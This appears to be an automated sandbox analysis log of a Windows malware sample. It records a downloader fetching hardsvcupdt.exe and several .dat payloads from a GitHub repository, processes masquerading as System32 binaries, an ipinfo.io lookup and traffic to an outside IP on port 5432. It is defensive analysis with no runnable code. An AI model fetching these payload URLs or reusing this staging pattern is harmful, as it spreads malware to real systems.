Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA55B3110 CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	53_2_00007FFDA55B3110
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FFDA559E580 CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	59_2_00007FFDA559E580
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FFDA559E570 CryptHashData,	59_2_00007FFDA559E570
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FFDA55AC4D0 memset,BCryptGenRandom,	59_2_00007FFDA55AC4D0
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FFDA55CB4E0 memset,CryptAcquireContextW,CryptCreateHash,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	59_2_00007FFDA55CB4E0
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FFDA559E4F0 CryptAcquireContextW,CryptCreateHash,CryptReleaseContext,	59_2_00007FFDA559E4F0
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FFDA55CE7A0 CertGetNameStringW,CertFindExtension,CryptDecodeObjectEx,	59_2_00007FFDA55CE7A0
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FFDA55B31A0 CryptAcquireContextW,CryptCreateHash,CryptReleaseContext,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	59_2_00007FFDA55B31A0
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FFDA5581180 CryptAcquireContextW,CryptImportKey,CryptReleaseContext,CryptEncrypt,CryptDestroyKey,CryptReleaseContext,	59_2_00007FFDA5581180
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FFDA55B3090 CryptAcquireContextW,CryptCreateHash,CryptReleaseContext,	59_2_00007FFDA55B3090
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FFDA55B3110 CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	59_2_00007FFDA55B3110
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FFDA559E3C0 CryptAcquireContextW,CryptCreateHash,CryptReleaseContext,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	59_2_00007FFDA559E3C0
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FFDA55CE270 memcmp,memcmp,CryptQueryObject,CertAddCertificateContextToStore,CertFreeCertificateContext,GetLastError,GetLastError,	59_2_00007FFDA55CE270
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FFDA55AC300 BCryptGenRandom,	59_2_00007FFDA55AC300
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FFDA55CDE50 CertGetNameStringW,CertFindExtension,CryptDecodeObjectEx,free,CertFreeCertificateContext,	59_2_00007FFDA55CDE50
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FFDA55CBA86 wcschr,wcsncmp,wcsncmp,wcsncmp,wcsncmp,wcsncmp,wcsncmp,wcsncmp,wcsncmp,wcschr,CertOpenStore,GetLastError,free,free,CryptStringToBinaryW,free,CertFindCertificateInStore,free,CertFreeCertificateContext,CertCloseStore,free,fseek,ftell,fread,fclose,fseek,fclose,MultiByteToWideChar,PFXImportCertStore,GetLastError,CertFindCertificateInStore,GetLastError,CertCloseStore,strchr,strncmp,strncmp,strncmp,strncmp,strncmp,strtol,strchr,strncmp,strncmp,strncmp,strchr,CertFreeCertificateContext,free,	59_2_00007FFDA55CBA86

Source: pyld64.exe, 0000000E.00000002.2442276535.00007FF7FD31E000.00000002.00000001.01000000.00000006.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_dead43ff-b

Source: C:\Windows\System32\console_zero.exe

Code function: mov dword ptr [rbp+04h], 424D53FFh

59_2_00007FFDA55B4930

Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.6:63778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.6:63784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.6:63790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.6:63793 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.6:63796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.6:63799 version: TLS 1.2

Source: Ld0f3NDosJ.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Program Files\vcpkg\buildtrees\curl\x64-windows-rel\lib\libcurl.pdb source: pyld64.exe, 0000000E.00000002.2442276535.00007FF7FD31E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B8FD4000.00000002.00000001.01000000.00000008.sdmp, usvcinsta64.exe, 00000018.00000002.2514383144.00007FF6B8FD4000.00000002.00000001.01000000.00000008.sdmp, svchost.exe, 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmp, console_zero.exe, 0000003B.00000002.2613047508.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: D:\a\postgresql-packaging-foundation\postgresql-packaging-foundation\postgresql-15.7\Release\libpq\libpq.pdbGG source: pyld64.exe, 0000000E.00000002.2442276535.00007FF7FD31E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B99D4000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: vcruntime140d.amd64.pdb source: pyld64.exe, 0000000E.00000000.2336381311.00007FF7FC91E000.00000002.00000001.01000000.00000006.sdmp, pyld64.exe, 0000000E.00000002.2442276535.00007FF7FC91E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B8FD4000.00000002.00000001.01000000.00000008.sdmp, usvcinsta64.exe, 00000018.00000002.2514383144.00007FF6B8FD4000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: vcruntime140d.amd64.pdb,,, source: pyld64.exe, 0000000E.00000000.2336381311.00007FF7FC91E000.00000002.00000001.01000000.00000006.sdmp, pyld64.exe, 0000000E.00000002.2442276535.00007FF7FC91E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B8FD4000.00000002.00000001.01000000.00000008.sdmp, usvcinsta64.exe, 00000018.00000002.2514383144.00007FF6B8FD4000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\Program Files\vcpkg\buildtrees\zlib\x64-windows-rel\zlib.pdb## source: pyld64.exe, 0000000E.00000002.2442276535.00007FF7FD31E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B99D4000.00000002.00000001.01000000.00000008.sdmp, svchost.exe, 00000035.00000002.3363092235.00007FFDA553F000.00000002.00000001.01000000.00000011.sdmp, console_zero.exe, 0000003B.00000002.2612916762.00007FFDA553F000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: C:\Program Files\vcpkg\buildtrees\openssl\x64-windows-rel\libcrypto-3-x64.pdb source: pyld64.exe, 0000000E.00000000.2336381311.00007FF7FC91E000.00000002.00000001.01000000.00000006.sdmp, pyld64.exe, 0000000E.00000002.2442276535.00007FF7FC91E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B8FD4000.00000002.00000001.01000000.00000008.sdmp, usvcinsta64.exe, 00000018.00000002.2514383144.00007FF6B8FD4000.00000002.00000001.01000000.00000008.sdmp, svchost.exe, 00000035.00000002.3362305807.00007FFD93B8B000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: D:\a\postgresql-packaging-foundation\postgresql-packaging-foundation\postgresql-15.7\Release\libpq\libpq.pdb source: pyld64.exe, 0000000E.00000002.2442276535.00007FF7FD31E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B99D4000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: D:\a\postgresql-packaging-foundation\postgresql-packaging-foundation\postgresql-16.3\Release\libpq\libpq.pdb source: pyld64.exe, 0000000E.00000002.2442276535.00007FF7FD31E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B99D4000.00000002.00000001.01000000.00000008.sdmp, svchost.exe, 00000035.00000002.3362982850.00007FFDA3798000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: D:\a\postgresql-packaging-foundation\postgresql-packaging-foundation\postgresql-16.3\Release\libpq\libpq.pdbJJ source: pyld64.exe, 0000000E.00000002.2442276535.00007FF7FD31E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B99D4000.00000002.00000001.01000000.00000008.sdmp, svchost.exe, 00000035.00000002.3362982850.00007FFDA3798000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: C:\Program Files\vcpkg\buildtrees\zlib\x64-windows-rel\zlib.pdb source: pyld64.exe, 0000000E.00000002.2442276535.00007FF7FD31E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B99D4000.00000002.00000001.01000000.00000008.sdmp, svchost.exe, 00000035.00000002.3363092235.00007FFDA553F000.00000002.00000001.01000000.00000011.sdmp, console_zero.exe, 0000003B.00000002.2612916762.00007FFDA553F000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: C:\Program Files\vcpkg\buildtrees\openssl\x64-windows-rel\libssl-3-x64.pdb source: pyld64.exe, 0000000E.00000002.2442276535.00007FF7FD31E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B99D4000.00000002.00000001.01000000.00000008.sdmp, svchost.exe, 00000035.00000002.3362856525.00007FFDA33B0000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: ucrtbased.pdb source: pyld64.exe, 0000000E.00000002.2442276535.00007FF7FD31E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B99D4000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\Program Files\vcpkg\buildtrees\openssl\x64-windows-rel\libssl-3-x64.pdb{{ source: pyld64.exe, 0000000E.00000002.2442276535.00007FF7FD31E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B99D4000.00000002.00000001.01000000.00000008.sdmp, svchost.exe, 00000035.00000002.3362856525.00007FFDA33B0000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: PrintUI.pdb source: usvcinsta64.exe, 00000018.00000003.2501497770.0000025D7065E000.00000004.00000020.00020000.00000000.sdmp, printui.exe, 00000028.00000002.2603343739.00007FF68C622000.00000002.00000001.01000000.00000009.sdmp, printui.exe, 00000028.00000000.2502474138.00007FF68C622000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: PrintUI.pdbGCTL source: usvcinsta64.exe, 00000018.00000003.2501497770.0000025D7065E000.00000004.00000020.00020000.00000000.sdmp, printui.exe, 00000028.00000002.2603343739.00007FF68C622000.00000002.00000001.01000000.00000009.sdmp, printui.exe, 00000028.00000000.2502474138.00007FF68C622000.00000002.00000001.01000000.00000009.sdmp

Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Code function: 3_2_00007FF646E58E3C GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,__std_fs_open_handle,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,CloseHandle,CloseHandle,	3_2_00007FF646E58E3C
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Code function: 3_2_00007FF646E58CF8 FindClose,FindFirstFileExW,GetLastError,	3_2_00007FF646E58CF8
Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe	Code function: 3_2_00007FF646E6D270 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	3_2_00007FF646E6D270
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FF6F8C70144 FindClose,FindFirstFileExW,GetLastError,	59_2_00007FF6F8C70144
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FF6F8C701B8 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,__std_fs_open_handle,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,CloseHandle,CloseHandle,	59_2_00007FF6F8C701B8
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FF6F8C83764 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	59_2_00007FF6F8C83764
Source: C:\Windows\System32\crypti.exe	Code function: 84_2_00007FF6D356D568 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	84_2_00007FF6D356D568
Source: C:\Windows\System32\crypti.exe	Code function: 87_2_00007FF6EA96D568 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	87_2_00007FF6EA96D568

Source: global traffic

TCP traffic: 192.168.2.6:63787 -> 38.180.213.183:5432

Source: Joe Sandbox View	IP Address: 34.117.59.81 34.117.59.81
Source: Joe Sandbox View	IP Address: 34.117.59.81 34.117.59.81
Source: Joe Sandbox View	IP Address: 185.199.108.133 185.199.108.133
Source: Joe Sandbox View	IP Address: 140.82.121.3 140.82.121.3
Source: Joe Sandbox View	IP Address: 140.82.121.3 140.82.121.3

Source: Joe Sandbox View	JA3 fingerprint: bd0bf25947d4a37404f0424edf4db9ad
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown

DNS query: name: ipinfo.io

Source: global traffic

HTTP traffic detected: GET /panchitopistolesx/items/main/hardsvcupdt.exe HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: raw.githubusercontent.comConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe

Code function: 3_2_00007FF646E566B0 GetCurrentDirectoryW,URLDownloadToFileW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

3_2_00007FF646E566B0

Source: global traffic

Source: global traffic	DNS traffic detected: DNS query: tse1.mm.bing.net
Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: ipinfo.io
Source: global traffic	DNS traffic detected: DNS query: runvrs.com
Source: global traffic	DNS traffic detected: DNS query: github.com

Source: pyld64.exe, 0000000E.00000002.2442276535.00007FF7FD31E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B99D4000.00000002.00000001.01000000.00000008.sdmp, svchost.exe, 00000035.00000002.3359501861.0000000064953000.00000008.00000001.01000000.00000012.sdmp	String found in binary or memory: http://mingw-w64.sourceforge.net/X
Source: pyld64.exe, 0000000E.00000002.2442276535.00007FF7FD31E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B99D4000.00000002.00000001.01000000.00000008.sdmp, console_zero.exe, console_zero.exe, 0000003B.00000002.2612733960.00007FF6F8C8C000.00000002.00000001.01000000.00000014.sdmp, console_zero.exe, 0000003B.00000002.2612200244.000001D64B0CC000.00000004.00000020.00020000.00000000.sdmp, console_zero.exe, 0000003B.00000000.2583942814.00007FF6F8C8C000.00000002.00000001.01000000.00000014.sdmp	String found in binary or memory: http://worldtimeapi.org/api/timezone/Etc/UTC
Source: pyld64.exe, 0000000E.00000002.2442276535.00007FF7FD31E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B99D4000.00000002.00000001.01000000.00000008.sdmp, console_zero.exe, 0000003B.00000002.2612733960.00007FF6F8C8C000.00000002.00000001.01000000.00000014.sdmp, console_zero.exe, 0000003B.00000000.2583942814.00007FF6F8C8C000.00000002.00000001.01000000.00000014.sdmp	String found in binary or memory: http://worldtimeapi.org/api/timezone/Etc/UTCapplication/octet-streamtext/plain;
Source: pyld64.exe, 0000000E.00000000.2336381311.00007FF7FC91E000.00000002.00000001.01000000.00000006.sdmp, pyld64.exe, 0000000E.00000002.2442276535.00007FF7FC91E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B8FD4000.00000002.00000001.01000000.00000008.sdmp, usvcinsta64.exe, 00000018.00000002.2514383144.00007FF6B8FD4000.00000002.00000001.01000000.00000008.sdmp, svchost.exe, 00000035.00000002.3360185514.00000000682A4000.00000008.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.gnu.org/licenses/
Source: svchost.exe	String found in binary or memory: http://www.zlib.net/
Source: pyld64.exe, 0000000E.00000002.2442276535.00007FF7FD31E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B99D4000.00000002.00000001.01000000.00000008.sdmp, svchost.exe, 00000035.00000002.3363113098.00007FFDA5547000.00000002.00000001.01000000.00000011.sdmp, console_zero.exe, 0000003B.00000002.2612942389.00007FFDA5547000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: http://www.zlib.net/D
Source: svchost.exe, console_zero.exe	String found in binary or memory: https://curl.se/
Source: pyld64.exe, 0000000E.00000002.2442276535.00007FF7FD31E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B99D4000.00000002.00000001.01000000.00000008.sdmp, svchost.exe, 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmp, console_zero.exe, 0000003B.00000002.2613577176.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://curl.se/V
Source: pyld64.exe, 0000000E.00000002.2442276535.00007FF7FD31E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B8FD4000.00000002.00000001.01000000.00000008.sdmp, usvcinsta64.exe, 00000018.00000002.2514383144.00007FF6B8FD4000.00000002.00000001.01000000.00000008.sdmp, svchost.exe, svchost.exe, 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmp, console_zero.exe, console_zero.exe, 0000003B.00000002.2613047508.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: console_zero.exe	String found in binary or memory: https://curl.se/docs/alt-svc.html#
Source: svchost.exe, console_zero.exe	String found in binary or memory: https://curl.se/docs/copyright.html
Source: pyld64.exe, 0000000E.00000002.2442276535.00007FF7FD31E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B99D4000.00000002.00000001.01000000.00000008.sdmp, svchost.exe, 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmp, console_zero.exe, 0000003B.00000002.2613577176.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://curl.se/docs/copyright.htmlD
Source: pyld64.exe, 0000000E.00000002.2442276535.00007FF7FD31E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B8FD4000.00000002.00000001.01000000.00000008.sdmp, usvcinsta64.exe, 00000018.00000002.2514383144.00007FF6B8FD4000.00000002.00000001.01000000.00000008.sdmp, svchost.exe, svchost.exe, 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmp, console_zero.exe, console_zero.exe, 0000003B.00000002.2613047508.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: console_zero.exe	String found in binary or memory: https://curl.se/docs/hsts.html#
Source: pyld64.exe, 0000000E.00000002.2442276535.00007FF7FD31E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B8FD4000.00000002.00000001.01000000.00000008.sdmp, usvcinsta64.exe, 00000018.00000002.2514383144.00007FF6B8FD4000.00000002.00000001.01000000.00000008.sdmp, svchost.exe, svchost.exe, 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmp, console_zero.exe, console_zero.exe, 0000003B.00000002.2613047508.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: svchost.exe, console_zero.exe	String found in binary or memory: https://curl.se/docs/http-cookies.html#
Source: svchost.exe, 00000035.00000002.3361917101.000001BB8BD29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/panchitopistolesx/items/raw/main/my_backup_a
Source: pyld64.exe, 0000000E.00000000.2336381311.00007FF7FC91E000.00000002.00000001.01000000.00000006.sdmp, pyld64.exe, 0000000E.00000002.2442276535.00007FF7FC91E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B8FD4000.00000002.00000001.01000000.00000008.sdmp, usvcinsta64.exe, 00000018.00000002.2514383144.00007FF6B8FD4000.00000002.00000001.01000000.00000008.sdmp, svchost.exe, 00000035.00000002.3362605186.00007FFD94303000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://ipinfo.io/json
Source: Ld0f3NDosJ.exe, 00000003.00000002.2356433154.000001E8BF3C6000.00000004.00000020.00020000.00000000.sdmp, Ld0f3NDosJ.exe, 00000003.00000003.2334869302.000001E8BF3C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: Ld0f3NDosJ.exe, 00000003.00000002.2356310555.000001E8BF3B4000.00000004.00000020.00020000.00000000.sdmp, Ld0f3NDosJ.exe, 00000003.00000003.2334901082.000001E8BF3B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/
Source: Ld0f3NDosJ.exe, 00000003.00000002.2356310555.000001E8BF369000.00000004.00000020.00020000.00000000.sdmp, Ld0f3NDosJ.exe, 00000003.00000003.2334901082.000001E8BF368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/1F7
Source: Ld0f3NDosJ.exe, 00000003.00000002.2356310555.000001E8BF369000.00000004.00000020.00020000.00000000.sdmp, Ld0f3NDosJ.exe, 00000003.00000003.2334901082.000001E8BF368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/bG
Source: svchost.exe, 00000035.00000003.2846038368.000001BB8BAF4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000035.00000003.2914585077.000001BB8BAF4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000035.00000003.3178715641.000001BB8BAF3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000035.00000003.2719522374.000001BB8BD06000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000035.00000003.3113596577.000001BB8BAF3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000035.00000002.3361335703.000001BB8BAF4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000035.00000003.3048858018.000001BB8BAF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/panchitopistolesx/items/main/_cpu.dat
Source: svchost.exe, 00000035.00000003.2846038368.000001BB8BAF4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000035.00000003.2914585077.000001BB8BAF4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000035.00000003.3178715641.000001BB8BAF3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000035.00000003.2719522374.000001BB8BD06000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000035.00000003.3113596577.000001BB8BAF3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000035.00000002.3361335703.000001BB8BAF4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000035.00000003.3048858018.000001BB8BAF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/panchitopistolesx/items/main/_cpuwsys.dat
Source: svchost.exe, 00000035.00000002.3360728429.000001BB8BA13000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000035.00000003.2719522374.000001BB8BD06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/panchitopistolesx/items/main/amdg.dat
Source: Ld0f3NDosJ.exe, 00000003.00000003.2334901082.000001E8BF368000.00000004.00000020.00020000.00000000.sdmp, Ld0f3NDosJ.exe, 00000003.00000002.2356237105.000001E8BF34C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/panchitopistolesx/items/main/hardsvcupdt.exe
Source: Ld0f3NDosJ.exe, 00000003.00000002.2356655360.000001E8C10D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/panchitopistolesx/items/main/hardsvcupdt.exe.net1&0
Source: Ld0f3NDosJ.exe, 00000003.00000002.2356655360.000001E8C10D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/panchitopistolesx/items/main/hardsvcupdt.exe06
Source: Ld0f3NDosJ.exe, 00000003.00000002.2356468392.000001E8BF422000.00000004.00000020.00020000.00000000.sdmp, Ld0f3NDosJ.exe, 00000003.00000003.2334778364.000001E8BF422000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/panchitopistolesx/items/main/hardsvcupdt.exeC:
Source: Ld0f3NDosJ.exe, 00000003.00000002.2356433154.000001E8BF3D7000.00000004.00000020.00020000.00000000.sdmp, Ld0f3NDosJ.exe, 00000003.00000003.2334869302.000001E8BF3D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/panchitopistolesx/items/main/hardsvcupdt.exeLMEM
Source: Ld0f3NDosJ.exe, 00000003.00000002.2356310555.000001E8BF369000.00000004.00000020.00020000.00000000.sdmp, Ld0f3NDosJ.exe, 00000003.00000003.2334901082.000001E8BF368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/panchitopistolesx/items/main/hardsvcupdt.exeNH
Source: Ld0f3NDosJ.exe, 00000003.00000002.2356310555.000001E8BF369000.00000004.00000020.00020000.00000000.sdmp, Ld0f3NDosJ.exe, 00000003.00000003.2334901082.000001E8BF368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/panchitopistolesx/items/main/hardsvcupdt.exeQg
Source: Ld0f3NDosJ.exe, 00000003.00000002.2356237105.000001E8BF34C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/panchitopistolesx/items/main/hardsvcupdt.exeU
Source: Ld0f3NDosJ.exe, 00000003.00000002.2356655360.000001E8C10D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/panchitopistolesx/items/main/hardsvcupdt.exent.com1
Source: Ld0f3NDosJ.exe, 00000003.00000002.2356433154.000001E8BF3C6000.00000004.00000020.00020000.00000000.sdmp, Ld0f3NDosJ.exe, 00000003.00000003.2334869302.000001E8BF3C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/panchitopistolesx/items/main/hardsvcupdt.exes
Source: svchost.exe, 00000035.00000002.3360728429.000001BB8BA13000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000035.00000003.2719522374.000001BB8BD06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/panchitopistolesx/items/main/nvg.dat
Source: svchost.exe, 00000035.00000003.2719522374.000001BB8BD06000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000035.00000002.3360844690.000001BB8BA48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/panchitopistolesx/items/main/usvcusb.dat
